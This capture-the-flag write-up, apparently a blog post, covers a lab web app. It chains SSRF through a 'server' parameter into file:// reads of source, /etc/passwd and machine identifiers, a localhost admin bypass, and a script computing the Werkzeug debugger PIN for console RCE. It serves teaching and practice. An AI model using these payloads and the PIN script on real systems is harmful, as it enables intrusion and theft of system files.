Room Link: Plant Photographer

Scenario:

Your friend, a passionate botanist and aspiring photographer, recently launched a personal portfolio website to showcase his growing collection of rare plant photos:

http://IP/

Proud of building the site himself from scratch, he's asked you to take a quick look and let him know if anything could be improved. Look closely at how the site works under the hood, and determine whether it was coded with best practices in mind. If you find anything questionable, dig deeper and try to uncover the flag hidden behind the scenes.

This challenge looked like a basic web app at first. But, it wasn't.

It had:

  • SSRF
  • Debugger RCE
  • File read
  • Internal service abuse

๐ŸŒ Step 1 โ€” Enumeration (Nmap)

I started with a full scan:

nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN nmap_sC.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN nmap_vuln.txt
None

Result:

  • Port 22 & 80 open
  • Server: Werkzeug (primarily a WSGI (Web Server Gateway Interface) utility library for Python, particularly those built with Flask)

๐Ÿ“‚ Step 2 โ€” Directory Enumeration (FFUF)

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$target/FUZZ -c -e .txt,.html,.php

Found:

  • /admin
  • /download
  • /console
None

๐Ÿšซ Step 3 โ€” Initial Failures (Where I Got Stuck)

/admin

Admin interface only available from localhost!!!

I tried header spoofing but it didnt work.

/console

Opened Flask debugger.

None

Opened Flask debugger.

Required a pin.

/download

None

When downloading the resume from homepage, we get a pdf.

curl -O "http://$target/download?server=secure-file-storage.com:8087&id=75482342"

Checked:

exiftool download.pdf
strings download.pdf

๐Ÿ‘‰ Just a simple portfolio PDF

Dead end.

๐Ÿ”ฅ Step 4 โ€” Identifying a Potential SSRF

In the pdf download link, I noticed this request:

/download?server=secure-file-storage.com:8087&id=75482342

This parameter is user-controlled and used by the backend to fetch files.

That means:

  • The server is making a request on our behalf
  • And we can influence where it connects

= a classic sign of a Server-Side Request Forgery (SSRF) vulnerability.

๐Ÿ’ก Step 5 โ€” Reading Source Code via SSRF (First flag)

After identifying SSRF, I first tried accessing local files using the file:// protocol.

curl "http://10.49.177.49/download?server=file:///usr/src/app/app.py%23&id=75482342"

This worked because:

  • the backend directly uses the server parameter
  • it does not restrict protocols (http://, file://, etc.)
  • %23 (#)

We get the API key flag inside app.py from here!

๐Ÿ”ฅ Step 6 โ€” Using Source Code and Bypassing Admin Restriction (Second Flag)

From the source code, I saw:

None

/admin only works from localhost. So,

curl "http://10.49.177.49/download?server=http://localhost:8087/admin%23&id=75482342" --output flag.pdf
None

We get the admin section flag from here!

๐Ÿง  Step 7โ€” Going Back to Debugger

Now I revisited:

/console

๐Ÿ‘‰ Flask debug console ๐Ÿ‘‰ Requires PIN ๐Ÿ‘‰ But gives Python execution (RCE)

๐Ÿ”‘ Step 8 โ€” Understanding How the PIN Is Generated

Rather than guessing the PIN, I wanted to understand how Werkzeug generates it.

Since I already had file-read through the SSRF primitive, I used it to pull the Werkzeug debugger source code directly from the target.

Refer: Main Debugger Logic

curl "http://10.49.177.49/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=75482342" -o debug.py

Why this file?

Because this is where Werkzeug's debugger logic lives, including the code that builds:

  • the debugger PIN
  • the trusted debug cookie

By reading that file, I could see that the PIN generation depends on system-specific values such as:

  • username
  • Flask module path
  • MAC address
  • machine / container identifier
  • debugger salts

๐Ÿ”‘ Step 8โ€” Cracking the PIN

Since the PIN is generated using:

  • username
None
  • flask module path
None
  • MAC address
None
  • machine ID (docker)
None

๐Ÿ“‚ Step 9 โ€” File Read via SSRF

None
  1. To find users:
curl "http://10.49.177.49/download?server=file:///etc/passwd%23&id=75482342"

2. To find information about the current process's control groups docker/<container_id>:

curl "http://10.49.177.49/download?server=file:///proc/self/cgroup%23&id=75482342"

3. For MAC address of the network interface:

curl "http://10.49.177.49/download?server=file:///sys/class/net/eth0/address%23&id=75482342"

4. Confirming the Flask module path

curl "http://10.49.177.49/download?server=file:///usr/local/lib/python3.10/site-packages/flask/app.py%23&id=75482342" -o flask_app.py

๐Ÿงช Python Script

import hashlib
username = "root"
modname = "flask.app"
appname = "Flask"
filepath = "[REDACTED]"
mac = str(int("[REDACTED]", 16))
machine_id = "[REDACTED]"
h = hashlib.md5()
for bit in [username, modname, appname, filepath, mac, machine_id]:
    if bit:
        h.update(bit.encode())
h.update(b"cookiesalt")
cookie = "__wzd" + h.hexdigest()[:20]
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join([num[:3], num[3:6], num[6:]])
print("PIN:", pin)

๐Ÿ”“ Step 10 โ€” RCE via Console

Entered PIN โ†’ console unlocked

Then:

import os; os.listdir('/usr/src/app')

Found:

flag-982374827648721338.txt

๐Ÿ Final Flag

open('[REDACTED]').read()

๐Ÿช Bonus โ€” Debug Cookie

After unlocking, I saw:

__wzd[REDACTED] = [REDACTED]|[REDACTED]

๐Ÿ‘‰ This is:

  • timestamp
  • validation hash

Used to keep debugger session trusted

๐Ÿง  What I Learned

  • SSRF โ‰  just localhost โ†’ understand request building
  • Debuggers = instant RCE if exposed
  • Werkzeug PIN is predictable
  • Always read traceback carefully (it leaks everything).